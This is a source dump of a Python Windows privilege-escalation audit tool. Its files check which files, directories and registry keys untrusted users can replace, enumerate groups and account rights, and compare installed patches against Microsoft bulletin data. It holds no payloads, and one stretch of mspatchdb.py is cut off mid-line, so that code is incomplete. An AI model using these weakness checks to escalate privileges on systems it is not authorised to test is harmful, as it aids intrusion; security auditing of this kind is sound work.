49 | def sd(self, type, name): 50 | # TODO caching code here 51 | return sd(type, name) 52 | 53 | def File(self, name): 54 | f = None # might save 1 x dict lookup 55 | if name in self.files.keys(): 56 | #print "[D] Cache hitx for: " + self.files[name].get_name() 57 | self.hit('files') 58 | return self.files[name] 59 | else: 60 | self.miss('files') 61 | f = wpc.file.file(name) 62 | self.files[name] = f 63 | return f 64 | 65 | def regkey(self, name): 66 | f = None # might save 1 x dict lookup 67 | if name in self.regkeys.keys(): 68 | #print "[D] Cache hitx for: " + self.files[name].get_name() 69 | self.hit('regkeys') 70 | return self.regkeys[name] 71 | else: 72 | self.miss('regkeys') 73 | f = wpc.regkey.regkey(name) 74 | self.regkeys[name] = f 75 | return f 76 | 77 | def LsaOpenPolicy(self, server, rights): 78 | keystring = "%s%%%s" %(server, rights) 79 | if not keystring in self.policyhandlefromserverrights.keys(): 80 | self.policyhandlefromserverrights[keystring] = win32security.LsaOpenPolicy(wpc.conf.remote_server, win32security.POLICY_VIEW_LOCAL_INFORMATION | win32security.POLICY_LOOKUP_NAMES) 81 | return self.policyhandlefromserverrights[keystring] 82 | 83 | def LsaEnumerateAccountRights(self, handle, sid): 84 | keystring = "%s%%%s" %(handle, sid) 85 | if not keystring in self.rightsfromhandlesid.keys(): 86 | try: 87 | self.rightsfromhandlesid[keystring] = win32security.LsaEnumerateAccountRights(handle, sid) 88 | except: 89 | self.rightsfromhandlesid[keystring] = "" 90 | 91 | return self.rightsfromhandlesid[keystring] 92 | 93 | def LookupAccountSid(self, server, s): 94 | sid = win32security.ConvertSidToStringSid(s) 95 | if not server in self.namefromsid.keys(): 96 | self.namefromsid[server] = {} 97 | if not sid in self.namefromsid[server].keys(): 98 | try: 99 | self.namefromsid[server][sid] = win32security.LookupAccountSid(server, s) 100 | except: 101 | self.namefromsid[server][sid] = (win32security.ConvertSidToStringSid(s), "[unknown]", 8) 102 | self.miss('LookupAccountSid') 103 | else: 104 | self.hit('LookupAccountSid') 105 | 106 | return self.namefromsid[server][sid] 107 | 108 | def LookupAccountName(self, server, name): 109 | if not server in self.sidfromname.keys(): 110 | self.sidfromname[server] = {} 111 | if not name in self.sidfromname[server].keys(): 112 | try: 113 | self.sidfromname[server][name] = win32security.LookupAccountName(server, name) 114 | except: 115 | self.sidfromname[server][name] = None 116 | self.miss('LookupAccountName') 117 | else: 118 | self.hit('LookupAccountName') 119 | 120 | return self.sidfromname[server][name] 121 | 122 | def hit(self, name): 123 | self.hits[name] = self.hits[name] + 1 124 | 125 | def miss(self, name): 126 | self.misses[name] = self.misses[name] + 1 127 | 128 | def get_hits(self, name): 129 | return self.hits[name] 130 | 131 | def get_misses(self, name): 132 | return self.misses[name] 133 | 134 | def is_in_group(self, p, group): 135 | # print "cache.is_in_group called" 136 | #sid = win32security.ConvertSidToStringSid(s) 137 | # print "[D] 1" 138 | sid = p.get_sid_string() 139 | if not sid in self.sidingroup.keys(): 140 | self.sidingroup[sid] = {} 141 | # print "[D] 2" 142 | # print "is_in_group group.get_sid_string(): %s" % group.get_sid_string() 143 | # print "is_in_group sid: %s" % sid 144 | # print "members" 145 | # print map(lambda x: x.get_sid_string(), group.get_members()) 146 | if not group.get_sid_string() in self.sidingroup[sid].keys(): 147 | self.sidingroup[sid][group.get_sid_string()] = 0 148 | self.miss('is_in_group') 149 | #print "Miss for is_in_group" 150 | if p.get_sid_string() in map(lambda x: x.get_sid_string(), group.get_members()): 151 | self.sidingroup[sid][group.get_sid_string()] = 1 152 | # print "[D] 3" 153 | else: 154 | #print "Hit for is_in_group" 155 | self.hit('is_in_group') 156 | # print "Returning: %s" % self.sidingroup[sid][group.get_sid_string()] 157 | return self.sidingroup[sid][group.get_sid_string()] 158 | 159 | def NetGroupGetUsers(self, server, name, level): 160 | keepgoing = 1 161 | resume = 0 162 | members = [] 163 | while keepgoing: 164 | try: 165 | m, total, resume = win32net.NetGroupGetUsers(server, name, level, resume, win32netcon.MAX_PREFERRED_LENGTH) 166 | except: 167 | return [] 168 | 169 | for member in m: 170 | members.append(member) 171 | 172 | if not resume: 173 | keepgoing = 0 174 | return members 175 | 176 | def NetLocalGroupGetMembers(self, server, name, level): 177 | keepgoing = 1 178 | resume = 0 179 | members = [] 180 | while keepgoing: 181 | try: 182 | m, total, resume = win32net.NetLocalGroupGetMembers(server, name, level, resume, win32netcon.MAX_PREFERRED_LENGTH) 183 | except: 184 | return [] 185 | 186 | for member in m: 187 | members.append(member) 188 | 189 | if not resume: 190 | keepgoing = 0 191 | return members -------------------------------------------------------------------------------- /wpc/drive.py: -------------------------------------------------------------------------------- 1 | import win32api 2 | import win32con 3 | import win32file 4 | 5 | 6 | # NB: Only works for fixed drives - or you get "device not ready" error 7 | class drive(): 8 | def __init__(self, drivename): 9 | self.filesystem = None 10 | self.drivetype = None 11 | self.drivename = drivename 12 | self.driveinfo = win32api.GetVolumeInformation(drivename) 13 | 14 | def get_name(self): 15 | return self.drivename 16 | 17 | def get_fs(self): 18 | if not self.filesystem: 19 | self.filesystem = self.driveinfo[4] 20 | 21 | return self.filesystem 22 | 23 | def get_type(self): 24 | if not self.drivetype: 25 | self.drivetype = win32file.GetDriveType(self.driveinfo) 26 | 27 | return self.drivetype 28 | 29 | def is_fixed_drive(self): 30 | if self.get_type() == win32con.DRIVE_FIXED: 31 | return 1 32 | return 0 33 | -------------------------------------------------------------------------------- /wpc/drives.py: -------------------------------------------------------------------------------- 1 | from wpc.drive import drive 2 | import win32api 3 | import win32con 4 | import win32file 5 | 6 | 7 | class drives(): 8 | def get_fixed_drives(self): 9 | for d in win32api.GetLogicalDriveStrings().split("\x00")[0:-1]: 10 | if win32file.GetDriveType(d) == win32con.DRIVE_FIXED or win32file.GetDriveType(d) == 4: 11 | yield drive(d) 12 | -------------------------------------------------------------------------------- /wpc/exploit.py: -------------------------------------------------------------------------------- 1 | # Class to store information about a known exploit. 2 | # This code doesn't actually exploit anything. 3 | 4 | 5 | # These have members 6 | class exploit(): 7 | def __init__(self): 8 | self.title = None 9 | self.description = None 10 | self.urls = [] 11 | self.info = {} 12 | self.refnos = {} 13 | 14 | def set_title(self, title): 15 | self.title = title 16 | 17 | def get_title(self): 18 | return self.title 19 | 20 | def get_msno(self): 21 | if 'MS Bulletin' in self.refnos: 22 | return self.refnos['MS Bulletin'] 23 | return None 24 | 25 | def get_description(self): 26 | return self.description 27 | 28 | def add_refno(self, reftype, ref): 29 | self.refnos[reftype] = ref 30 | 31 | def set_info(self, inftype, info): 32 | self.info[inftype] = info 33 | 34 | def get_info(self, inftype): 35 | if inftype in self.info.keys(): 36 | return self.info[inftype] 37 | return None 38 | 39 | def add_url(self, url): 40 | # TODO uniq 41 | self.urls.append(url) 42 | 43 | def as_string(self): 44 | print "Title: %s" % self.title 45 | if self.description: 46 | print "Description: %s" % self.description 47 | if self.urls: 48 | print "URLs: %s" % " \n".join(self.urls) 49 | for k in self.info.keys(): 50 | print "%s: %s" % (k, self.info[k]) 51 | for k in self.refnos.keys(): 52 | print "%s: %s" % (k, self.refnos[k]) 53 | print 54 | -------------------------------------------------------------------------------- /wpc/file.py: -------------------------------------------------------------------------------- 1 | from wpc.report.fileAcl import fileAcl 2 | from wpc.sd import sd 3 | import os 4 | import win32security 5 | import wpc.conf 6 | 7 | 8 | # files or directories 9 | class file: 10 | def __init__(self, name): 11 | # print "[D] Created file obj for " + name 12 | self.name = str(name).replace("\x00", "") 13 | self.type = None 14 | self.parent_dir = None 15 | self.replaceable_set = None 16 | self.replaceable = None 17 | self.exist = None 18 | self.existsset = 0 19 | # TODO could we defer this check? 20 | if os.path.isdir(self.name): 21 | self.type = 'dir' 22 | if wpc.utils.is_reparse_point(self.name): 23 | self.type = 'reparse_point' 24 | # print "[D] reparse point: %s" % self.name 25 | else: 26 | self.type = 'file' 27 | self.sd = None 28 | 29 | # def clearmem(self): 30 | # self.name = None 31 | # self.type = None 32 | # self.parent_dir = None 33 | # self.replaceable_set = None 34 | # self.replaceable = None 35 | # self.exist = None 36 | # self.sd = None 37 | 38 | def as_text(self): 39 | s = "Filename: " + self.get_name() + "\n" 40 | s += self.get_sd().as_text() 41 | return s 42 | 43 | def dump(self): 44 | print self.as_text() 45 | 46 | def get_name(self): 47 | return self.name 48 | 49 | def exists(self): 50 | if not self.existsset: 51 | try: 52 | self.exist = os.path.exists(self.get_name()) 53 | except: 54 | self.exist = 0 55 | self.existsset = 1 56 | return self.exist 57 | 58 | def is_dir(self): 59 | if self.type == 'dir': 60 | return 1 61 | else: 62 | return 0 63 | 64 | def get_type(self): 65 | return self.type 66 | 67 | def is_file(self): 68 | if self.type == 'file': 69 | return 1 70 | else: 71 | return 0 72 | 73 | def get_file_acl_for_perms(self, perms): 74 | if self.get_sd(): 75 | al = self.get_sd().get_acelist().get_untrusted().get_aces_with_perms(perms).get_aces() 76 | if al == []: 77 | return None 78 | else: 79 | return fileAcl(self.get_name(), al) 80 | 81 | def get_dangerous_aces(self): 82 | try: 83 | #print "[D] File: " + self.get_name() 84 | #print "[D] ACE: " 85 | #for a in self.get_sd().get_acelist().get_dangerous_perms().get_aces(): 86 | # print a.as_text() 87 | return self.get_sd().get_acelist().get_untrusted().get_dangerous_perms().get_aces() 88 | except: 89 | return [] 90 | 91 | # Can an untrusted user replace this file/dir? TODO unused 92 | def is_replaceable(self): 93 | if not self.exists(): 94 | print "[W] is_replaceable called for non-existent file %s" % self.get_name() 95 | return 0 96 | 97 | # There are a few things that could cause a file/dir to be replacable. Firstly let's define "replaceable": 98 | # Replaceable file: Contents can be replaced by untrusted user. Boils down to either write access, or being able to delete then re-add 99 | # Replaceable dir: Untrusted user can deleting anything within and re-add 100 | # 101 | # The code below is a bit subtle because it's recursive. We're checking these conditions: 102 | # 103 | # 1. File/dir is owned by an untrusted user 104 | # 2. File/dir allows FILE_WRITE_DAC for an untrusted user 105 | # 3. File/dir allows FILE_WRITE_OWNER for an untrusted user 106 | # 4. File allows FILE_WRITE_DATA for an untrusted user 107 | # 5. File allows DELETE and parent dir allows FILE_ADD_FILE for an untrusted user 108 | # 6. Parent dir allows FILE_DELETE_CHILD and FILE_ADD_FILE for an untrusted user 109 | # 7. Parent of directory or grandparent of file allows FILE_DELETE_CHILD and FILE_ADD_SUBFOLDER by untrusted user 110 | # 8. Parent dir allows DELETE by untrusted user and its parent allows FILE_ADD_SUBFOLDER 111 | # 9. Parent dir (or any parent thereof) allows WRITE_DAC for an untrusted user 112 | # 10. Parent dir (or any parent thereof) allows WRITE_OWNER for an untrusted user 113 | # 11. Parent dir (or any parent thereof) is owned by an untrusted user 114 | 115 | # Return cached result if we have it 116 | if self.replaceable_set: 117 | # print "[D] Cache hit for " + self.get_name() 118 | return self.replaceable 119 | 120 | # Checks applicable to both files and directories 121 | if self.get_sd(): 122 | # 1. File is owned by an untrusted user 123 | # 11. Parent dir (or any parent thereof) is owned by an untrusted user 124 | # Also see below for a recursive check of parent directories 125 | if self.get_sd().owner_is_untrusted(): 126 | self.replaceable_set = 1 127 | self.replaceable = 1 128 | return 1 129 | 130 | # 2. File allows FILE_WRITE_DAC for an untrusted user 131 | # 3. File allows FILE_WRITE_OWNER for an untrusted user 132 | # 9. Parent dir (or any parent thereof) allows WRITE_DAC for an untrusted user 133 | # 10. Parent dir (or any parent thereof) allows WRITE_OWNER for an untrusted user 134 | # Also see below for a recursive check of parent directories 135 | if not self.get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_WRITE_DAC", "FILE_WRITE_OWNER"]).get_aces() == []: 136 | self.replaceable_set = 1 137 | self.replaceable = 1 138 | return 1 139 | 140 | # Checks applicable to only files 141 | if self.type == 'file': 142 | if self.get_sd(): 143 | # 4. File allows FILE_WRITE_DATA for an untrusted user 144 | if not self.get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_WRITE_DATA"]).get_aces() == []: 145 | self.replaceable_set = 1 146 | self.replaceable = 1 147 | return 1 148 | 149 | # 5. File allows DELETE and parent dir allows FILE_ADD_FILE for an untrusted user 150 | if not self.get_sd().get_acelist().get_untrusted().get_aces_with_perms(["DELETE"]).get_aces() == []: 151 | if self.get_parent_dir().get_sd(): 152 | if not self.get_parent_dir().get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_ADD_FILE"]).get_aces() == []: 153 | self.replaceable_set = 1 154 | self.replaceable = 1 155 | return 1 156 | 157 | # 6. Parent dir allows FILE_DELETE_CHILD and FILE_ADD_FILE for an untrusted user 158 | # NB: We don't require that a single ACE contains both perms. If untrusted user x has FILE_DELETE_CHILD and untrusted user y has perm FILE_ADD_FILE, 159 | # this is still insecure. 160 | if self.get_parent_dir().get_sd(): 161 | if not self.get_parent_dir().get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_ADD_FILE"]).get_aces() == [] and not self.get_parent_dir().get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_DELETE_CHILD"]).get_aces() == []: 162 | self.replaceable_set = 1 163 | self.replaceable = 1 164 | return 1 165 | 166 | if self.type == 'dir': 167 | # 7. Parent of directory or grandparent of file allows FILE_DELETE_CHILD and FILE_ADD_SUBFOLDER by untrusted user 168 | # 8. Parent dir allows DELETE by untrusted user and its parent allows FILE_ADD_SUBFOLDER 169 | if self.get_sd(): 170 | if not self.get_sd().get_acelist().get_untrusted().get_aces_with_perms(["DELETE"]).get_aces() == []: 171 | if self.get_parent_dir() and self.get_parent_dir().get_sd(): 172 | if not self.get_parent_dir().get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_ADD_SUBFOLDER"]).get_aces() == []: 173 | self.replaceable_set = 1 174 | self.replaceable = 1 175 | return 1 176 | 177 | if self.get_parent_dir() and self.get_parent_dir().get_sd(): 178 | if not self.get_parent_dir().get_sd().get_acelist().get_untrusted().get_aces_with_perms(["FILE_DELETE_CHILD", "FILE_ADD_SUBFOLDER"]).get_aces() == []: 179 | self.replaceable_set = 1 180 | self.replaceable = 1 181 | return 1 182 | 183 | # Recursive check of parent directories 184 | # 0: A file/dir can be replaced if it's parent dir can be replaced (doesn't really count as it's a recursive definition) 185 | if self.get_parent_dir() and self.get_parent_dir().get_name() != self.get_name(): # "\" has parent of "\" 186 | if self.get_parent_dir().is_replaceable(): 187 | self.replaceable_set = 1 188 | self.replaceable = 1 189 | return 1 190 | 191 | # File/dir is not replaceable if we get this far 192 | self.replaceable_set = 1 193 | self.replaceable = 0 194 | 195 | # print "[D] is_replaceable returning 0 for %s " % self.get_name() 196 | return 0 197 | 198 | # Doesn't return a trailing slash 199 | def get_parent_dir(self): 200 | #print "get_parent_dir called for: " + self.get_name() 201 | if not self.parent_dir: 202 | mypath = self.get_name() 203 | # Check there is a parent dir - e.g. there isn't for "C:" 204 | if not len(mypath) == 3: # "c:\" 205 | parentpath = "\\".join(mypath.split("\\")[0:-2]) + "\\" 206 | # We frequently refer to parent dirs, so must cache and work we do 207 | self.parent_dir = wpc.conf.cache.File(parentpath) 208 | # print self.parent_dir 209 | else: 210 | # print "[D] no parent dir" 211 | self.parent_dir = None 212 | #if self.parent_dir: 213 | #print "get_parent_dir returning: " + str(self.parent_dir.get_name()) 214 | #else: 215 | #print "get_parent_dir returning: None" 216 | return self.parent_dir 217 | 218 | def get_sd(self): 219 | if self.sd is None: 220 | #sd = None 221 | try: 222 | sd = self.sd = win32security.GetNamedSecurityInfo( 223 | self.get_name(), 224 | win32security.SE_FILE_OBJECT, 225 | win32security.OWNER_SECURITY_INFORMATION | win32security.DACL_SECURITY_INFORMATION 226 | ) 227 | if self.is_dir(): 228 | self.sd = wpc.conf.cache.sd('directory', sd) 229 | else: 230 | self.sd = wpc.conf.cache.sd('file', sd) 231 | except: 232 | print "WARNING: Can't get security descriptor for file: " + self.get_name() 233 | self.sd = None 234 | 235 | return self.sd -------------------------------------------------------------------------------- /wpc/files.py: -------------------------------------------------------------------------------- 1 | from wpc.file import file as File 2 | 3 | 4 | class files: 5 | def __init__(self): 6 | self.files = [] 7 | 8 | # for wpc.file objects, not strings 9 | def add(self, file): 10 | self.files.append(file) 11 | 12 | def add_by_name(self, name): 13 | f = File(name) 14 | self.add(f) 15 | 16 | def get_names(self): 17 | return map(lambda x: x.name, self.getfiles()) 18 | 19 | def get_files(self): 20 | return self.files 21 | 22 | def get_files_by_path(self, ext): 23 | pass # TODO 24 | 25 | def get_files_by_extension(self, exts): 26 | pass # TODO 27 | 28 | def get_files_writable_by_user(self, users): 29 | pass # TODO 30 | 31 | def get_files_writable_by_all_except(self, users): 32 | pass # TODO -------------------------------------------------------------------------------- /wpc/group.py: -------------------------------------------------------------------------------- 1 | from wpc.principal import principal 2 | from wpc.user import user 3 | import ntsecuritycon 4 | import win32security 5 | import wpc.conf 6 | 7 | 8 | # These have members 9 | class group(principal): 10 | def get_members(self): 11 | # print "get_members called for %s" % self.get_fq_name() 12 | return self.get_members_except([self]) 13 | 14 | def get_members_except(self, ignore_principals): 15 | #for i in ignore_principals: 16 | # print "Ignoring: " + i.get_fq_name() 17 | resume = 0 18 | keepgoing = 1 19 | members = [] 20 | principals = [] 21 | #print "group %s is type %s" % (self.get_fq_name(), self.get_type_string()) 22 | #while keepgoing: 23 | #try: 24 | # m, total, resume = win32net.NetLocalGroupGetMembers(wpc.conf.remote_server, self.get_name(), 2 , resume, win32netcon.MAX_PREFERRED_LENGTH) 25 | #except: 26 | # return [] 27 | #print m 28 | #for member in m: 29 | #members.append(member) 30 | # print "[D] a" 31 | for member in wpc.conf.cache.NetLocalGroupGetMembers(wpc.conf.remote_server, self.get_name(), 2): 32 | # print "[D] b" 33 | #print "%s has member %s" % (self.get_fq_name(), member['domainandname']) 34 | p = None 35 | # print "[D] member[sid]: %s" % member['sid'] 36 | if wpc.conf.sid_is_group_type[member['sidusage']]: 37 | # print "[D] b2" 38 | p = group(member['sid']) 39 | # print "[D] b21" 40 | else: 41 | # print "[D] b3" 42 | p = user(member['sid']) 43 | # print "[D] b31" 44 | 45 | #for i in ignore_principals: 46 | # print "checking if %s is %s" % (p.get_sid(), i.get_sid()) 47 | if not p.get_sid() in map(lambda x: x.get_sid(), ignore_principals): 48 | # print "%s is new" % p.get_sid() 49 | principals.append(p) 50 | #else: 51 | # print "%s is NOT new" % p.get_sid() 52 | if not resume: 53 | keepgoing = 0 54 | 55 | # TODO: should be able to list members of group "None" 56 | # print "[D] c" 57 | 58 | # TODO: make this an option 59 | # TODO: If we also want to list members of subgroups recursively... 60 | ignore_principals.extend(principals) 61 | for p in principals: 62 | # print "[D] d" 63 | if p.is_group_type(): 64 | g = group(member['sid']) 65 | # print "[D] %s has member %s (Group)" % (self.get_fq_name(), g.get_fq_name()) 66 | # principals.append(g) 67 | for new_principals in g.get_members_except(ignore_principals): 68 | principals.append(new_principals) 69 | # print "[D] e" 70 | 71 | return principals 72 | -------------------------------------------------------------------------------- /wpc/groups.py: -------------------------------------------------------------------------------- 1 | from wpc.group import group 2 | import win32net 3 | import wpc.conf 4 | 5 | 6 | class groups(): 7 | def __init__(self): 8 | self.groups = [] 9 | 10 | def get_all(self): 11 | if self.groups == []: 12 | try: 13 | level = 0 14 | resume = 0 15 | while True: 16 | grouplist, total, resume = win32net.NetGroupEnum(wpc.conf.remote_server, level, resume, 999999) 17 | for u in grouplist: 18 | try: 19 | sid, name, type = wpc.conf.cache.LookupAccountName(wpc.conf.remote_server, u['name']) 20 | self.groups.append(group(sid)) 21 | except: 22 | print "[E] failed to lookup sid of %s" % group['name'] 23 | if resume == 0: 24 | break 25 | except: 26 | print "[E] NetGroupEnum failed" 27 | try: 28 | level = 0 29 | resume = 0 30 | while True: 31 | grouplist, total, resume = win32net.NetLocalGroupEnum(wpc.conf.remote_server, level, resume, 999999) 32 | for u in grouplist: 33 | try: 34 | sid, name, type = wpc.conf.cache.LookupAccountName(wpc.conf.remote_server, u['name']) 35 | self.groups.append(group(sid)) 36 | except: 37 | print "[E] failed to lookup sid of %s" % group['name'] 38 | if resume == 0: 39 | break 40 | except: 41 | print "[E] NetLocalGroupEnum failed" 42 | return self.groups 43 | -------------------------------------------------------------------------------- /wpc/mspatchdb.py: -------------------------------------------------------------------------------- 1 | import wpc.conf 2 | from zipfile import ZipFile 3 | from lxml import etree as letree 4 | 5 | 6 | class mspatchdb(): 7 | def __init__(self, patchfile): 8 | self.patchfile = patchfile 9 | self.patchspreadsheet = [] 10 | self.parse_spreadsheet(self.patchfile) 11 | 12 | def parse_spreadsheet(self, patchfile): 13 | myzip = ZipFile(patchfile, 'r') 14 | xml = myzip.read('xl/worksheets/sheet1.xml') 15 | xml = xml.replace(" -1 and not row['Affected Product'].find("Media Player") > -1 and (row['Affected Product'].find("Windows 7") > -1 or row['Affected Product'].find("XP") > -1 or row['Affected Product'].find("Server 2008") > -1 or row['Affected Product'].find("Server 2003") > -1 or row['Affected Product'].find("Vista")) > -1: 64 | oslist[row['Affected Product']] = 1 65 | 66 | print "[+] Valid OS strings from xlsx file are:" 67 | for os in sorted(oslist.keys()): 68 | print "%s" % os 69 | 70 | def is_vali_os_string(self, os): 71 | for row in self.patchspreadsheet: 72 | if row['Affected Product'] == os: 73 | return 1 74 | return 0 75 | -------------------------------------------------------------------------------- /wpc/parseOptions.py: -------------------------------------------------------------------------------- 1 | import wpc.utils 2 | from optparse import OptionParser 3 | from optparse import OptionGroup 4 | import sys 5 | 6 | def parseOptions(): 7 | wpc.utils.print_banner() 8 | usage = "%s (--dump [ dump opts] |--audit) [examine opts] [host opts] -o report-file-stem" % (sys.argv[0]) 9 | 10 | parser = OptionParser(usage = usage, version = wpc.utils.get_version()) 11 | examine = OptionGroup(parser, "examine opts", "At least one of these to indicate what to examine (*=not implemented)") 12 | host = OptionGroup(parser, "host opts", "Optional details about a remote host (experimental). Default is current host.") 13 | dump = OptionGroup(parser, "dump opts", "Options to modify the behaviour of dump mode") 14 | report = OptionGroup(parser, "report opts", "Reporting options") 15 | 16 | parser.add_option("--dump", dest = "dump_mode", default = False, action = "store_true", help = "Dumps info for you to analyse manually") 17 | parser.add_option("--audit", dest = "audit_mode", default = False, action = "store_true", help = "Identify and report security weaknesses") 18 | 19 | examine.add_option("-a", "--all", dest = "do_all", default = False, action = "store_true", help = "All Simple Checks (non-slow)") 20 | examine.add_option("-t", "--paths", dest = "do_paths", default = False, action = "store_true", help = "PATH") 21 | examine.add_option("-D", "--drives", dest = "do_drives", default = False, action = "store_true", help = "Drives*") 22 | examine.add_option("-E", "--eventlogs", dest = "do_eventlogs", default = False, action = "store_true", help = "Event Log*") 23 | examine.add_option("-H", "--shares", dest = "do_shares", default = False, action = "store_true", help = "Shares*") 24 | examine.add_option("-T", "--patches", dest = "patchfile", help = "Patches. Arg is filename of xlsx patch info. Download from http://go.microsoft.com/fwlink/?LinkID=245778 or pass 'auto' to fetch automatically") 25 | examine.add_option("-L", "--loggedin", dest = "do_loggedin", default = False, action = "store_true", help = "Logged In*") 26 | examine.add_option("-S", "--services", dest = "do_services", default = False, action = "store_true", help = "Windows Services") 27 | examine.add_option("-k", "--drivers", dest = "do_drivers", default = False, action = "store_true", help = "Kernel Drivers") 28 | examine.add_option("-R", "--processes", dest = "do_processes", default = False, action = "store_true", help = "Processes") 29 | examine.add_option("-P", "--progfiles", dest = "do_program_files", default = False, action = "store_true", help = "Program Files Directory Tree") 30 | examine.add_option("-r", "--registry", dest = "do_registry", default = False, action = "store_true", help = "Registry Settings + Permissions") 31 | examine.add_option("-U", "--users", dest = "do_users", default = False, action = "store_true", help = "Users") 32 | examine.add_option("-G", "--groups", dest = "do_groups", default = False, action = "store_true", help = "Groups") 33 | examine.add_option("-A", "--allfiles", dest = "do_allfiles", default = False, action = "store_true", help = "All Files and Directories (slow)") 34 | examine.add_option("-e", "--reg_keys", dest = "do_reg_keys", default = False, action = "store_true", help = "Misc security-related reg keys") 35 | examine.add_option("-v", "--verbose", dest = "verbose", default = False, action = "store_true", help = "More verbose output on console") 36 | 37 | host.add_option("-s", "--server", dest = "remote_host", help = "Remote host or IP") 38 | host.add_option("-u", "--user", dest = "remote_user", help = "Remote username") 39 | host.add_option("-p", "--pass", dest = "remote_pass", help = "Remote password") 40 | host.add_option("-d", "--domain", dest = "remote_domain", help = "Remote domain") 41 | 42 | dump.add_option("-i", "--ignore_trusted", dest = "ignore_trusted", default = False, action = "store_true", help = "Ignore ACEs for Trusted Users") 43 | dump.add_option("-m", "--get_members", dest = "get_members", default = False, action = "store_true", help = "Dump group members (use with -G)") 44 | dump.add_option("-V", "--get_privs", dest = "get_privs", default = False, action = "store_true", help = "Dump privileges for users/groups") 45 | 46 | report.add_option("-o", "--report_file_stem", dest = "report_file_stem", default = False, help = "Filename stem for txt, html report files") 47 | 48 | parser.add_option_group(examine) 49 | parser.add_option_group(host) 50 | parser.add_option_group(dump) 51 | parser.add_option_group(report) 52 | 53 | (options, args) = parser.parse_args() 54 | 55 | if options.audit_mode and not options.report_file_stem: 56 | print "[E] Specify report filename stem, e.g. '-o report-myhost'. -h for help." 57 | sys.exit() 58 | 59 | # TODO check file is writable. 60 | 61 | if not options.dump_mode and not options.audit_mode: 62 | print "[E] Specify either --dump or --audit. -h for help." 63 | sys.exit() 64 | 65 | # TODO can't use -m without -G 66 | 67 | if not (options.do_all or options.do_services or options.do_drivers or options.do_processes or options.patchfile or options.do_reg_keys or options.do_registry or options.do_users or options.do_groups or options.do_program_files or options.do_paths or options.do_drives or options.do_eventlogs or options.do_shares or options.do_loggedin or options.do_users or options.do_groups or options.do_allfiles): 68 | print "[E] Specify something to look at. At least one of: -a, -t, -D, -E, -e, -H, -T, -L , -S, -k, -I, -U, -s, -d, -P, -r, -R, -U, -G. -h for help." 69 | sys.exit() 70 | 71 | return options 72 | -------------------------------------------------------------------------------- /wpc/patchdata.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import os 3 | import re 4 | from wpc.mspatchdb import mspatchdb 5 | 6 | 7 | # These have members 8 | class patchdata(): 9 | def __init__(self, opts): 10 | self.installed_patches = [] 11 | self.os = {} 12 | self.verbose = 0 13 | if 'verbose' in opts: 14 | self.verbose = opts['verbose'] 15 | self.os['spreadsheet_string'] = None 16 | if 'os_string' in opts: 17 | self.os['spreadsheet_string'] = opts['os_string'] 18 | self.os["info"] = {} 19 | self.db = None 20 | if 'patchdb' in opts.keys(): 21 | self.db = opts['patchdb'] 22 | elif 'patchfile' in opts.keys(): 23 | self.db = mspatchdb({'file': opts['patchfile']}) 24 | else: 25 | self.db = mspatchdb() 26 | 27 | def record_installed_patch(self, patch): 28 | # TODO dedup 29 | self.installed_patches.append(patch) 30 | 31 | def get_installed_patches(self): 32 | if not self.installed_patches: 33 | self.parse_installed_patches_from_systeminfo() 34 | return self.installed_patches 35 | 36 | def get_os_info(self): 37 | return self.os['info'] 38 | 39 | def parse_installed_patches_from_systeminfo(self): 40 | output = subprocess.check_output("systeminfo", stderr = open(os.devnull, 'w')) 41 | for line in output.splitlines(): 42 | m = re.search("OS Name:\s+.*Windows(?:\(R\))? (7|XP|Server 2003|Vista|Server 2008 R2)", line) 43 | if m and m.group(1): 44 | self.os['info']['winver'] = m.group(1) 45 | 46 | m = re.search("OS Version:.*Service Pack (\d+)", line) 47 | if m and m.group(1): 48 | self.os['info']['sp'] = m.group(1) 49 | 50 | m = re.search("System [Tt]ype:.*(86|64)", line) 51 | if m and m.group(1): 52 | self.os['info']['arch'] = m.group(1) 53 | 54 | m = re.search("^\s+\[\d+\]:\s+(?:KB|Q)?(\d{6,7})", line) 55 | if m and m.group(1): 56 | # print "[+] Found installed patch: %s" % m.group(1) 57 | self.record_installed_patch(m.group(1)) 58 | 59 | def get_os_string_for_ms_spreadsheet(self): 60 | if not ('spreadsheet_string' in self.os and self.os['spreadsheet_string']): 61 | self.os['spreadsheet_string'] = self.guess_os_string_for_ms_spreadsheet() 62 | return self.os['spreadsheet_string'] 63 | 64 | def guess_os_string_for_ms_spreadsheet(self): 65 | if self.os['info']['winver']: 66 | if self.os['info']['winver'].find("XP") > 0 or self.os['info']['winver'].find("2003") > 0 or self.os['info']['winver'].find("NT") > 0 or self.os['info']['winver'].find("2000") > 0: 67 | os = "Microsoft Windows %s" % self.os['info']['winver'] 68 | else: 69 | os = "Windows %s" % self.os['info']['winver'] 70 | 71 | if 'arch' in self.os['info'].keys() and self.os['info']['arch']: 72 | if self.os['info']['winver'].find("Vista") > -1: 73 | if self.os['info']['arch'] == "64": 74 | os = "%s x64 Edition" % os 75 | else: 76 | if self.os['info']['arch'] == "64": 77 | os = "%s for x64-based Systems" % os 78 | if self.os['info']['arch'] == "32": 79 | os = "%s for 32-bit Systems" % os 80 | 81 | if 'sp' in self.os['info'].keys() and self.os['info']['sp']: 82 | os = "%s Service Pack %s" % (os, self.os['info']['sp']) 83 | 84 | return os 85 | 86 | def is_msno_applied(self, msno): 87 | kbs = self.db.get_kbs_from_msno(msno, self.get_os_string_for_ms_spreadsheet()) 88 | for kb in kbs: 89 | if kb in self.get_installed_patches(): 90 | return 1 91 | return 0 92 | 93 | def msno_or_superseded_applied(self, msno, os, depth): 94 | m = re.search("(MS\d\d-\d\d\d)", msno) 95 | if m and m.group(1): 96 | msno = m.group(1) 97 | else: 98 | print "[E] Illegal msno passed: %s" % msno 99 | if self.is_msno_applied(msno): 100 | if depth == 0: 101 | if self.verbose: 102 | print "[+] %s has been patched" % msno 103 | return 1 104 | else: 105 | s = self.db.superseding_patch(msno, os) 106 | if s: 107 | at_least_one_superseding_patch_applied = 0 108 | for patch_string in s.split(","): 109 | m = re.search("(MS\d\d-\d\d\d)", patch_string) 110 | if m and m.group(1): 111 | if m.group(1) == msno: 112 | if self.verbose: 113 | print "[+] %s supersedes %s (ignoring)" % (m.group(1), msno) 114 | continue 115 | 116 | if self.msno_or_superseded_applied(patch_string, os, depth + 1): 